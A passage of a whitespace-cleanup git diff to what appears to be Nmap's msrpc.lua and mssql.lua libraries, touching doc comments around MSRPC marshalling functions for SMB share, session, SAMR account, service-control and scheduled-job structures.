pos The position within the data. ---@return (pos, result) The new position in data, and a table representing the datatype. --- The result may be nil if there's an error. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, result) The new position in data, and a table representing the datatype. +-- The result may be nil if there's an error. function unmarshall_srvsvc_NetShareCtr(data, pos) local level local result @@ -3321,13 +3321,13 @@ end -- } srvsvc_NetShareInfo; -- -- --- Not all of them are implemented, however; look at the code to see which are implemented (at the --- time of this writing, it's 0, 1, and 2). +-- Not all of them are implemented, however; look at the code to see which are implemented (at the +-- time of this writing, it's 0, 1, and 2). -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. This may be --- nil if there was an error. +-- nil if there was an error. function unmarshall_srvsvc_NetShareInfo(data, pos) local level local result @@ -3349,7 +3349,7 @@ function unmarshall_srvsvc_NetShareInfo(data, pos) return pos, result end ----Marshall a NetSessInfo type 10. +---Marshall a NetSessInfo type 10. -- -- -- typedef struct { @@ -3361,14 +3361,14 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param client The client string. ---@param user The user string. ---@param time The number of seconds that the user has been logged on. ---@param idle_time The number of seconds that the user's been idle. ---@return A string representing the marshalled data. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param client The client string. +--@param user The user string. +--@param time The number of seconds that the user has been logged on. +--@param idle_time The number of seconds that the user's been idle. +--@return A string representing the marshalled data. local function marshall_srvsvc_NetSessInfo10(location, client, user, time, idle_time) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareInfo10()")) @@ -3383,18 +3383,18 @@ local function marshall_srvsvc_NetSessInfo10(location, client, user, time, idle_ return result end ----Unmarshall a NetSessInfo type 10. For more information, see the marshall function. +---Unmarshall a NetSessInfo type 10. For more information, see the marshall function. -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data packet. ---@param pos The position within the data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data packet. +--@param pos The position within the data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_srvsvc_NetSessInfo10(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_srvsvc_NetSessInfo10()")) @@ -3427,8 +3427,8 @@ end -- } srvsvc_NetSessCtr10; -- -- ---@param NetSessCtr10 A table representing the structure. ---@return A string representing the marshalled data. +--@param NetSessCtr10 A table representing the structure. +--@return A string representing the marshalled data. function marshall_srvsvc_NetSessCtr10(NetSessCtr10) local i local result = "" @@ -3461,10 +3461,10 @@ function marshall_srvsvc_NetSessCtr10(NetSessCtr10) return result end ----Unmarshall a NetSessCtr (session container) type 10. See the marshall function for the definition. +---Unmarshall a NetSessCtr (session container) type 10. See the marshall function for the definition. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_srvsvc_NetSessCtr10(data, pos) local count @@ -3492,13 +3492,13 @@ end -- } srvsvc_NetSessCtr; -- -- --- Not all of them are implemented, however; look at the code to see which are implemented (at the --- time of this writing, it's just 10). +-- Not all of them are implemented, however; look at the code to see which are implemented (at the +-- time of this writing, it's just 10). -- --@param level The level to request. Different levels will return different results, but also require --- different access levels to call. ---@param data The data to populate the array with. Depending on the level, this data will be different. ---@return A string representing the marshalled data. +-- different access levels to call. +--@param data The data to populate the array with. Depending on the level, this data will be different. +--@return A string representing the marshalled data. function marshall_srvsvc_NetSessCtr(level, data) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareCtr()")) @@ -3514,12 +3514,12 @@ function marshall_srvsvc_NetSessCtr(level, data) return result end ----Unmarshall the top-level NetShareCtr. This is a union; see the marshall function for more information. +---Unmarshall the top-level NetShareCtr. This is a union; see the marshall function for more information. -- ---@param data The data being processed. +--@param data The data being processed. --@param pos The position within data ---@return (pos, result) The new position in data, and a table representing the datatype. Can be --- nil if there's an error. +--@return (pos, result) The new position in data, and a table representing the datatype. Can be +-- nil if there's an error. function unmarshall_srvsvc_NetSessCtr(data, pos) local level local result @@ -3563,9 +3563,9 @@ end -- } srvsvc_Statistics; -- -- --- Note that Wireshark (at least, the version I'm using, 1.0.3) gets this wrong, so be careful. +-- Note that Wireshark (at least, the version I'm using, 1.0.3) gets this wrong, so be careful. -- ---@param data The data being processed. +--@param data The data being processed. --@param pos The position within data --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_srvsvc_Statistics(data, pos) @@ -3595,11 +3595,11 @@ function unmarshall_srvsvc_Statistics(data, pos) end ---Unmarshalls a srvsvc_Statistics as a pointer. Wireshark fails to do this, and ends --- up parsing the packet wrong, so take care when packetlogging. +-- up parsing the packet wrong, so take care when packetlogging. -- --- See unmarshall_srvsvc_Statistics for more information. +-- See unmarshall_srvsvc_Statistics for more information. -- ---@param data The data being processed. +--@param data The data being processed. --@param pos The position within data --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_srvsvc_Statistics_ptr(data, pos) @@ -3619,7 +3619,7 @@ end -- (dependencies: MISC, LSA, SECURITY) ---------------------------------- -local samr_ConnectAccessMask = +local samr_ConnectAccessMask = { SAMR_ACCESS_CONNECT_TO_SERVER = 0x00000001, SAMR_ACCESS_SHUTDOWN_SERVER = 0x00000002, @@ -3628,7 +3628,7 @@ local samr_ConnectAccessMask = SAMR_ACCESS_ENUM_DOMAINS = 0x00000010, SAMR_ACCESS_OPEN_DOMAIN = 0x00000020 } -local samr_ConnectAccessMask_str = +local samr_ConnectAccessMask_str = { SAMR_ACCESS_CONNECT_TO_SERVER = "Connect to server", SAMR_ACCESS_SHUTDOWN_SERVER = "Shutdown server", @@ -3638,12 +3638,12 @@ local samr_ConnectAccessMask_str = SAMR_ACCESS_OPEN_DOMAIN = "Open domain" } ----Marshall a samr_ConnectAccessMask. This datatype is tied to the table above with that --- name. +---Marshall a samr_ConnectAccessMask. This datatype is tied to the table above with that +-- name. -- --@param accessmask The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_samr_ConnectAccessMask(accessmask) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_samr_ConnectAccessMask()")) @@ -3654,10 +3654,10 @@ function marshall_samr_ConnectAccessMask(accessmask) return result end ----Unmarshall a samr_ConnectAccessMask. This datatype is tied to the table with that name. +---Unmarshall a samr_ConnectAccessMask. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_ConnectAccessMask(data, pos) local result @@ -3670,12 +3670,12 @@ function unmarshall_samr_ConnectAccessMask(data, pos) end ---Convert a samr_ConnectAccessMask value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function samr_ConnectAccessMask_tostr(val) - local result + local result stdnse.print_debug(4, string.format("MSRPC: Entering samr_ConnectAccessMask_tostr()")) result = samr_ConnectAccessMask_str[val] @@ -3684,7 +3684,7 @@ function samr_ConnectAccessMask_tostr(val) return result end -local samr_DomainAccessMask = +local samr_DomainAccessMask = { DOMAIN_ACCESS_LOOKUP_INFO_1 = 0x00000001, DOMAIN_ACCESS_SET_INFO_1 = 0x00000002, @@ -3698,7 +3698,7 @@ local samr_DomainAccessMask = DOMAIN_ACCESS_OPEN_ACCOUNT = 0x00000200, DOMAIN_ACCESS_SET_INFO_3 = 0x00000400 } -local samr_DomainAccessMask_str = +local samr_DomainAccessMask_str = { DOMAIN_ACCESS_LOOKUP_INFO_1 = "Lookup info (1)", DOMAIN_ACCESS_SET_INFO_1 = "Set info (1)", @@ -3713,12 +3713,12 @@ local samr_DomainAccessMask_str = DOMAIN_ACCESS_SET_INFO_3 = "Set info (3)" } ----Marshall a samr_DomainAccessMask. This datatype is tied to the table above with that --- name. +---Marshall a samr_DomainAccessMask. This datatype is tied to the table above with that +-- name. -- --@param accessmask The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_samr_DomainAccessMask(accessmask) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_samr_DomainAccessMask()")) @@ -3729,10 +3729,10 @@ function marshall_samr_DomainAccessMask(accessmask) return result end ----Unmarshall a samr_DomainAccessMask. This datatype is tied to the table with that name. +---Unmarshall a samr_DomainAccessMask. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_DomainAccessMask(data, pos) local result @@ -3745,10 +3745,10 @@ function unmarshall_samr_DomainAccessMask(data, pos) end ---Convert a samr_DomainAccessMask value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function samr_DomainAccessMask_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering samr_DomainAccessMask_tostr()")) @@ -3759,7 +3759,7 @@ function samr_DomainAccessMask_tostr(val) return result end -local samr_AcctFlags = +local samr_AcctFlags = { ACB_NONE = 0x0000000, ACB_DISABLED = 0x00000001, -- User account disabled @@ -3782,7 +3782,7 @@ local samr_AcctFlags = ACB_PW_EXPIRED = 0x00020000, -- Password Expired ACB_NO_AUTH_DATA_REQD = 0x00080000 -- No authorization data required } -local samr_AcctFlags_str = +local samr_AcctFlags_str = { ACB_NONE = "n/a", ACB_DISABLED = "Account disabled", @@ -3806,12 +3806,12 @@ local samr_AcctFlags_str = ACB_NO_AUTH_DATA_REQD = "No authorization data required" } ----Marshall a samr_AcctFlags. This datatype is tied to the table above with that --- name. +---Marshall a samr_AcctFlags. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_samr_AcctFlags(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_samr_AcctFlags()")) @@ -3822,11 +3822,11 @@ function marshall_samr_AcctFlags(flags) return result end ----Unmarshall a samr_AcctFlags. This datatype is tied to the table with that name. +---Unmarshall a samr_AcctFlags. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_samr_AcctFlags(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_samr_AcctFlags()")) @@ -3838,10 +3838,10 @@ function unmarshall_samr_AcctFlags(data, pos) end ---Convert a samr_AcctFlags value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function samr_AcctFlags_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering samr_AcctFlags_tostr()")) @@ -3852,7 +3852,7 @@ function samr_AcctFlags_tostr(val) return result end -local samr_PasswordProperties = +local samr_PasswordProperties = { DOMAIN_PASSWORD_COMPLEX = 0x00000001, DOMAIN_PASSWORD_NO_ANON_CHANGE = 0x00000002, @@ -3861,7 +3861,7 @@ local samr_PasswordProperties = DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010, DOMAIN_REFUSE_PASSWORD_CHANGE = 0x00000020 } -local samr_PasswordProperties_str = +local samr_PasswordProperties_str = { DOMAIN_PASSWORD_COMPLEX = "Complexity requirements exist", DOMAIN_PASSWORD_NO_ANON_CHANGE = "Must be logged in to change password", @@ -3871,12 +3871,12 @@ local samr_PasswordProperties_str = DOMAIN_REFUSE_PASSWORD_CHANGE = "Passwords cannot be changed" } ----Marshall a samr_PasswordProperties. This datatype is tied to the table above with that --- name. +---Marshall a samr_PasswordProperties. This datatype is tied to the table above with that +-- name. -- --@param properties The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_samr_PasswordProperties(properties) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_samr_PasswordProperties()")) @@ -3887,11 +3887,11 @@ function marshall_samr_PasswordProperties(properties) return result end ----Unmarshall a samr_PasswordProperties. This datatype is tied to the table with that name. +---Unmarshall a samr_PasswordProperties. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_samr_PasswordProperties(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_samr_PasswordProperties()")) @@ -3903,10 +3903,10 @@ function unmarshall_samr_PasswordProperties(data, pos) end ---Convert a samr_PasswordProperties value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function samr_PasswordProperties_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering samr_PasswordProperties_tostr()")) @@ -3928,15 +3928,15 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_samr_SamEntry(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_samr_SamEntry()")) @@ -3967,8 +3967,8 @@ end -- } samr_SamArray; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_SamArray(data, pos) local result = {} @@ -3982,10 +3982,10 @@ function unmarshall_samr_SamArray(data, pos) end ---Unmarshall a pointer to a samr_SamArray type. See unmarshall_samr_SamArray for --- more information. +-- more information. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_SamArray_ptr(data, pos) local result @@ -4011,15 +4011,15 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_samr_DispEntryGeneral(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_samr_DispEntryGeneral()")) @@ -4056,8 +4056,8 @@ end -- } samr_DispInfoGeneral; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_DispInfoGeneral(data, pos) local result = {} @@ -4083,10 +4083,10 @@ end -- } samr_DispInfo; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. It may also return --- nil, if there was an error. +-- nil, if there was an error. function unmarshall_samr_DispInfo(data, pos) local level local result @@ -4118,8 +4118,8 @@ end -- } samr_DomInfo1; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_DomInfo1(data, pos) local result = {} @@ -4144,8 +4144,8 @@ end -- } samr_DomInfo8; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_DomInfo8(data, pos) local result = {} @@ -4168,8 +4168,8 @@ end -- } samr_DomInfo12; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_samr_DomInfo12(data, pos) local result = {} @@ -4202,10 +4202,10 @@ end -- } samr_DomainInfo; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. May return --- nil if there was an error. +-- nil if there was an error. function unmarshall_samr_DomainInfo(data, pos) local level local result @@ -4229,12 +4229,12 @@ function unmarshall_samr_DomainInfo(data, pos) end ---Unmarshall a pointer to a samr_DomainInfo. See unmarshall_samr_DomainInfo for --- more information. +-- more information. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. May return --- nil if there was an error. +-- nil if there was an error. function unmarshall_samr_DomainInfo_ptr(data, pos) local result stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_samr_DomainInfo_ptr()")) @@ -4254,10 +4254,10 @@ end -- } samr_Ids; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. May return --- nil if there was an error. +-- nil if there was an error. function unmarshall_samr_Ids(data, pos) local array @@ -4271,7 +4271,7 @@ end -- (dependencies: MISC) ---------------------------------- -local svcctl_ControlCode = +local svcctl_ControlCode = { SERVICE_CONTROL_CONTINUE = 0x00000003, SERVICE_CONTROL_INTERROGATE = 0x00000004, @@ -4283,7 +4283,7 @@ local svcctl_ControlCode = SERVICE_CONTROL_PAUSE = 0x00000002, SERVICE_CONTROL_STOP = 0x00000001, } -local svcctl_ControlCode_str = +local svcctl_ControlCode_str = { SERVICE_CONTROL_CONTINUE = "Notifies a paused service that it should resume.", SERVICE_CONTROL_INTERROGATE = "Notifies a service that it should report its current status information to the service control manager.", @@ -4297,12 +4297,12 @@ local svcctl_ControlCode_str = } ----Marshall a svcctl_ControlCode. This datatype is tied to the table above with that --- name. +---Marshall a svcctl_ControlCode. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_svcctl_ControlCode(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_ControlCode()")) @@ -4313,11 +4313,11 @@ function marshall_svcctl_ControlCode(flags) return result end ----Unmarshall a svcctl_ControlCode. This datatype is tied to the table with that name. +---Unmarshall a svcctl_ControlCode. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_svcctl_ControlCode(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_ControlCode()")) @@ -4329,10 +4329,10 @@ function unmarshall_svcctl_ControlCode(data, pos) end ---Convert a svcctl_ControlCode value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function svcctl_ControlCode_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_ControlCode_tostr()")) @@ -4355,12 +4355,12 @@ local svcctl_Type = SERVICE_TYPE_WIN32 = 0x30 } ----Marshall a svcctl_Type. This datatype is tied to the table above with that --- name. +---Marshall a svcctl_Type. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_svcctl_Type(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_Type()")) @@ -4371,11 +4371,11 @@ function marshall_svcctl_Type(flags) return result end ----Unmarshall a svcctl_Type. This datatype is tied to the table with that name. +---Unmarshall a svcctl_Type. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_svcctl_Type(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_Type()")) @@ -4387,10 +4387,10 @@ function unmarshall_svcctl_Type(data, pos) end --[[Convert a svcctl_Type value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function svcctl_Type_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_Type_tostr()")) @@ -4409,12 +4409,12 @@ local svcctl_State = SERVICE_STATE_INACTIVE = 0x02, SERVICE_STATE_ALL = 0x03 } ----Marshall a svcctl_State. This datatype is tied to the table above with that --- name. +---Marshall a svcctl_State. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_svcctl_State(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_State()")) @@ -4425,11 +4425,11 @@ function marshall_svcctl_State(flags) return result end ----Unmarshall a svcctl_State. This datatype is tied to the table with that name. +---Unmarshall a svcctl_State. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_svcctl_State(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_State()")) @@ -4441,10 +4441,10 @@ function unmarshall_svcctl_State(data, pos) end --[[Convert a svcctl_State value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function svcctl_State_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_State_tostr()")) @@ -4471,9 +4471,9 @@ end]]-- -- } SERVICE_STATUS; -- -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, table) The new position, and the table of values. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, table) The new position, and the table of values. function unmarshall_SERVICE_STATUS(data, pos) local result = {} @@ -4490,7 +4490,7 @@ end -local atsvc_DaysOfMonth = +local atsvc_DaysOfMonth = { First = 0x00000001, Second = 0x00000002, @@ -4525,12 +4525,12 @@ local atsvc_DaysOfMonth = Thirtyfirst = 0x40000000 } ----Marshall a atsvc_DaysOfMonth. This datatype is tied to the table above with that --- name. +---Marshall a atsvc_DaysOfMonth. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_atsvc_DaysOfMonth(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfMonth()")) @@ -4550,12 +4550,12 @@ local atsvc_Flags = JOB_ADD_CURRENT_DATE = 0x08, JOB_NONINTERACTIVE = 0x10 } ----Marshall a atsvc_Flags. This datatype is tied to the table above with that --- name. +---Marshall a atsvc_Flags. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_atsvc_Flags(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_Flags()")) @@ -4567,7 +4567,7 @@ function marshall_atsvc_Flags(flags) end -local atsvc_DaysOfWeek = +local atsvc_DaysOfWeek = { DAYSOFWEEK_MONDAY = 0x01, DAYSOFWEEK_TUESDAY = 0x02, @@ -4577,12 +4577,12 @@ local atsvc_DaysOfWeek = DAYSOFWEEK_SATURDAY = 0x20, DAYSOFWEEK_SUNDAY = 0x40 } ----Marshall a atsvc_DaysOfWeek. This datatype is tied to the table above with that --- name. +---Marshall a atsvc_DaysOfWeek. This datatype is tied to the table above with that +-- name. -- --@param flags The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_atsvc_DaysOfWeek(flags) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfWeek()")) @@ -4605,10 +4605,10 @@ end -- } atsvc_JobInfo; -- -- ---@param command The command to run. This has to be just the command, no parameters; if a +--@param command The command to run. This has to be just the command, no parameters; if a -- program requires parameters, then the best way to run it is through a batch --- file. ---@param time The time at which to run the job, in milliseconds from midnight. +-- file. +--@param time The time at which to run the job, in milliseconds from midnight. function marshall_atsvc_JobInfo(command, time) local result = "" diff --git a/nselib/mssql.lua b/nselib/mssql.lua index 2ff64981f..7918e311e 100644 --- a/nselib/mssql.lua +++ b/nselib/mssql.lua @@ -2,10 +2,10 @@ -- MSSQL Library supporting a very limited subset of operations. -- -- The library was designed and tested against Microsoft SQL Server 2005. --- However, it should work with versions 7.0, 2000, 2005, 2008 and 2012. +-- However, it should work with versions 7.0, 2000, 2005, 2008 and 2012. -- Only a minimal amount of parsers have been added for tokens, column types -- and column data in order to support the first scripts. --- +-- -- The code has been implemented based on traffic analysis and the following -- documentation: -- * SSRP Protocol Specification: http://msdn.microsoft.com/en-us/library/cc219703.aspx @@ -50,7 +50,7 @@ -- -- -- Known limitations: --- * The library does not support SSL. The foremost reason being the akward choice of implementation where the SSL handshake is performed within the TDS data block. By default, servers support connections over non SSL connections though. +-- * The library does not support SSL. The foremost reason being the akward choice of implementation where the SSL handshake is performed within the TDS data block. By default, servers support connections over non SSL connections though. -- * Version 7 and ONLY version 7 of the protocol is supported. This should cover Microsoft SQL Server 7.0 and later. -- * TDS Responses contain one or more response tokens which are parsed based on their type. The supported tokens are listed in the TokenType table and their respective parsers can be found in the Token class. Note that some token parsers are not fully implemented and simply move the offset the right number of bytes to continue processing of the response. -- * The library only supports a limited subsets of datatypes and will abort execution and return an error if it detects an unsupported type. The supported data types are listed in the DataTypes table. In order to add additional data types a parser function has to be added to both the ColumnInfo and ColumnData class. @@ -61,7 +61,7 @@ -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html -- -- @author "Patrik Karlsson , Chris Woodbury" --- +-- -- @args mssql.username The username to use to connect to SQL Server instances. -- This username is used by scripts taking actions that require -- authentication (e.g. ms-sql-query) This username (and its @@ -142,13 +142,13 @@ local HAVE_SSL, openssl = pcall(require, "openssl") do namedpipes = smb.namedpipes local arg = stdnse.get_script_args( "mssql.timeout" ) or "30s" - + local timeout, err = stdnse.parse_timespec(arg) if not timeout then error(err) end MSSQL_TIMEOUT = timeout - + SCANNED_PORTS_ONLY = false if ( stdnse.get_script_args( "mssql.scanned-ports-only" ) ) then SCANNED_PORTS_ONLY = true @@ -158,7 +158,7 @@ end -- ************************************* -- Informational Classes --- ************************************* +-- ************************************* --- SqlServerInstanceInfo class SqlServerInstanceInfo = @@ -177,7 +177,7 @@ SqlServerInstanceInfo = self.__index = self return o end, - + -- Compares two SqlServerInstanceInfo objects and determines whether they -- refer to the same SQL Server instance, judging by a combination of host, -- port, named pipe information and instance name. @@ -190,10 +190,10 @@ SqlServerInstanceInfo = else areEqual = (self.host.ip == other.host.ip) end - + if (self.port and other.port) then areEqual = areEqual and ( other.port.number == self.port.number and - other.port.protocol == self.port.protocol ) + other.port.protocol == self.port.protocol 